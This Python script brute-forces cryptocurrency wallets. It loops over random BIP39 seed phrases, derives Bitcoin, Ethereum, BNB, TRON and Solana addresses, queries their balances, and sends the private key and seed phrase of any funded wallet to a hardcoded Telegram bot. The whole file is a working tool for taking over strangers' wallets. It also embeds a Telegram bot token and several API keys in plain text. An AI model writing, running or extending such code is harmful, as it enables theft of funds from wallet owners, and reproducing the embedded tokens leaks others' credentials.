from os import path
from bip_utils import Bip39SeedGenerator, Bip44, Bip44Coins, Bip44Changes
from web3 import Web3
import requests
import hashlib
import time 
from typing import Tuple
from mnemonic import Mnemonic
import base64
from solana.rpc.api import Client
from solders.pubkey import Pubkey



_price_cache = {}


COINGECKO_IDS = {
	"trx":"tron",
	"sol":"solana"
}

CACHE_TTL = 300
BOT_TOKEN = "8594620437:AAG4fxRv5FsaUcw_Nm3ptaB6RHf6WG6AAGE"
CHAT_ID = "-1003749562174"


def send_telegram_message(text: str):
	url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
	data = {"chat_id": CHAT_ID, "text": text}
	try:
		r = requests.post(url, data=data, timeout=10)
		r.raise_for_status()
	except Exception as e:
		print(f"Failed to send Telegram message: {e}")



def get_price_cached(symbol:str)-> float:
	symbol = symbol.lower()
	if symbol not in COINGECKO_IDS:
		raise ValueError(f"Unsupported symbol: {symbol}")
	now = time.time()
	if symbol in _price_cache:
		cached = _price_cache[symbol]
		if now - cached["timestamp"] < CACHE_TTL:
			return cached["price"]
	coin_id = COINGECKO_IDS[symbol]

	url = "https://api.coingecko.com/api/v3/simple/price"
	params = {"ids": coin_id, "vs_currencies": "usd"}

	try:
		r = requests.get(url, params=params, timeout=10)
		r.raise_for_status()
		j = r.json()
		price = float(j[coin_id]["usd"])
		_price_cache[symbol] = {"price": price, "timestamp": now}
		return price
	except Exception as e:
		if symbol in _price_cache:
			print("Using cached price due to API error")
			return _price_cache[symbol]["price"]
		else:
			raise


mnemo = Mnemonic("english")

client = Client("https://api.mainnet-beta.solana.com")
API_KEY = "cqt_rQdBBxtPHTtvfg4qqwKGtVBTdw9V"
API_KEY_TRON = "0eab2a4e-1096-4687-9734-16fa2a6ad950"

def check_eth_balance(address):
	params = {"quote-currency": "USD", "format": "JSON", "key": API_KEY}
	response = requests.get(f"https://api.covalenthq.com/v1/1/address/{address}/balances_v2/?key={API_KEY}", params=params)
	data = response.json()
	common_balance = 0
	for token in data["data"]["items"]:
		decimals = token.get("contract_decimals")
		quote_rate = token.get("quote_rate")
		if(quote_rate is None):
			continue
		if decimals is None:
			continue
		if token["balance"] != "0":
			balance= (int(token["balance"]) / (10 ** decimals)) * quote_rate
			if(balance>=1):
				common_balance+= balance
	return common_balance

def check_bnb_balance(address):
	params = {"quote-currency": "USD", "format": "JSON", "key": API_KEY}
	response = requests.get(f"https://api.covalenthq.com/v1/56/address/{address}/balances_v2/?key={API_KEY}", params=params)
	data = response.json()
	common_balance = 0
	for token in data["data"]["items"]:
		decimals = token.get("contract_decimals")
		quote_rate = token.get("quote_rate")
		if(quote_rate is None):
			continue
		if decimals is None:
			continue
		if token["balance"] != "0":
			balance = (int(token["balance"]) / (10 ** decimals)) * quote_rate
			if(balance>=1):
				common_balance+= balance
	return common_balance
def check_btc_balance(address):
	params = {"quote-currency": "USD", "format": "JSON", "key": API_KEY}
	url= f"https://api.covalenthq.com/v1/btc-mainnet/address/{address}/balances_v2/?key={API_KEY}"
	response = requests.get(url, params=params)
	
	data = response.json()
	common_balance = 0
	for token in data["data"]["items"]:
		decimals = token.get("contract_decimals")
		quote_rate = token.get("quote_rate")
		if(quote_rate is None):
			continue
		if decimals is None:
			continue
		if token["balance"] != "0":
			balance = (int(token["balance"]) / (10 ** decimals)) * quote_rate
			if(balance>=1):
				common_balance+= balance
	return common_balance

def check_sol_balance(address):
	sol_usd = get_price_cached("sol")
	pubkey = Pubkey.from_string(address)
	balance = client.get_balance(pubkey)
	balance = balance.value / 1_000_000_000
	return balance * sol_usd

TRONGRID= "https://api.trongrid.io"
FULLNODE_BASE = "https://api.trongrid.io"  # тот же домен, другой endpoint (/wallet/..)
USDT_TRC20 = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"
_B58_ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
_B58_MAP = {c: i for i, c in enumerate(_B58_ALPHABET)}

def _b58decode(s: str) -> bytes:
    n = 0
    for ch in s:
        if ch not in _B58_MAP:
            raise ValueError(f"Invalid base58 char: {ch}")
        n = n * 58 + _B58_MAP[ch]

    # Convert int -> bytes
    full = n.to_bytes((n.bit_length() + 7) // 8, "big") if n > 0 else b""

    # Add leading zero bytes for each leading '1'
    pad = 0
    for ch in s:
        if ch == "1":
            pad += 1
        else:
            break
    return b"\x00" * pad + full

def tron_base58_to_hex41(address_b58: str) -> str:
    """
    Converts TRON base58 address to hex with 0x41 prefix (21 bytes total),
    validating Base58Check checksum.
    Returns lowercase hex string without 0x, e.g. '41abcd...'.
    """
    raw = _b58decode(address_b58)
    if len(raw) != 25:
        raise ValueError(f"Unexpected decoded length: {len(raw)} (expected 25)")

    payload, checksum = raw[:21], raw[21:]
    h = hashlib.sha256(hashlib.sha256(payload).digest()).digest()
    if checksum != h[:4]:
        raise ValueError("Bad base58check checksum")

    # TRON mainnet addresses start with 0x41
    if payload[0] != 0x41:
        raise ValueError("Not a TRON mainnet address (missing 0x41 prefix)")

    return payload.hex()

# ---------------- TronGrid helpers ----------------

def tg_get(path: str, api_key: str, params: dict | None = None) -> dict:
    url = f"{TRONGRID}{path}"
    headers = {"TRON-PRO-API-KEY": api_key}
    r = requests.get(url, headers=headers, params=params, timeout=30)
    r.raise_for_status()
    return r.json()

def tg_post(path: str, api_key: str, body: dict) -> dict:
    url = f"{TRONGRID}{path}"
    headers = {
        "TRON-PRO-API-KEY": api_key,
        "Content-Type": "application/json",
    }
    r = requests.post(url, headers=headers, json=body, timeout=30)
    r.raise_for_status()
    return r.json()

# ---------------- Balances ----------------

def tron_trx_balance(address_b58: str, api_key: str) -> float:
    """
    TRX balance via TronGrid v1 accounts endpoint.
    Returns TRX.
    """
    data = tg_get(f"/v1/accounts/{address_b58}", api_key)
    arr = data.get("data", [])
    if not arr:
        return 0.0
    sun = arr[0].get("balance", 0) or 0
    return sun / 1_000_000  # 1 TRX = 1e6 SUN

def tron_trc20_balance_of(contract_b58: str, owner_b58: str, api_key: str) -> int:
    """
    Calls TRC20 balanceOf(owner) using triggerconstantcontract.
    Returns raw integer (no decimals applied).
    """
    # Convert owner to hex, then take last 20 bytes (strip 0x41 prefix)
    owner_hex41 = tron_base58_to_hex41(owner_b58)   # 21 bytes, starts with "41"
    owner_20b = owner_hex41[2:]                     # drop '41' => 20 bytes hex (40 chars)

    # ABI encoding for `address` parameter (32 bytes): left pad with zeros
    param = owner_20b.rjust(64, "0")

    body = {
        "owner_address": owner_b58,
        "contract_address": contract_b58,
        "function_selector": "balanceOf(address)",
        "parameter": param,
        "visible": True,
    }

    resp = tg_post("/wallet/triggerconstantcontract", api_key, body)

    const = resp.get("constant_result") or []
    if not const:
        # Sometimes error info is inside resp.get("result") / resp.get("message")
        return 0

    raw_hex = const[0]  # hex string, usually without 0x
    return int(raw_hex, 16)

def tron_usdt_balance(address_b58: str, api_key: str) -> float:
    """
    USDT(TRC20) on TRON uses 6 decimals.
    Returns USDT amount.
    """
    raw = tron_trc20_balance_of(USDT_TRC20, address_b58, api_key)
    return raw / 1_000_000

# ---------------- Prices (USD) ----------------

def coingecko_prices_usd() -> Tuple[float, float]:
    return get_price_cached("trx"), 1

def tron_total_usd(address_b58: str) -> dict:
    api_key = API_KEY_TRON    
    trx = tron_trx_balance(address_b58, api_key)
    usdt = tron_usdt_balance(address_b58, api_key)
    trx_usd, usdt_usd = coingecko_prices_usd()

    total = trx * trx_usd + usdt * usdt_usd
    return total



while True:
	mnemonic = mnemo.generate(strength=128)
	#mnemonic = "Sail phrase night person palm atom lawsuit faith list you clip this"
	
	#print(mnemonic)
	seed_bytes = Bip39SeedGenerator(mnemonic).Generate()
	coins = {
						"BTC": [Bip44Coins.BITCOIN, check_btc_balance],
						"ETH": [Bip44Coins.ETHEREUM, check_eth_balance],
						"BNB": [Bip44Coins.BINANCE_SMART_CHAIN, check_bnb_balance],
						"TRON": [Bip44Coins.TRON,tron_total_usd ],
						"SOL": [Bip44Coins.SOLANA, check_sol_balance] ,
				}
	for coin, coin_enum in coins.items():
						
						ctx = Bip44.FromSeed(seed_bytes, coin_enum[0])
						addr_ctx = (ctx.Purpose().Coin().Account(0).Change(Bip44Changes.CHAIN_EXT).AddressIndex(0))

						priv_key = addr_ctx.PrivateKey().Raw().ToHex()
						address = addr_ctx.PublicKey().ToAddress()
						balance = coin_enum[1](address)
						if balance > 0:
								
								message = f"""
								💰 Found balance on {coin} wallet!
								Address: {address}
								Private key: {priv_key}
								Balance: {balance} USD
								
								Seed phrase: {mnemonic}
								"""
								print(f"\033[92m {coin} - Private key: {priv_key}, Address: {address}, Balance: {balance} USD\033[0m")
								send_telegram_message(message)
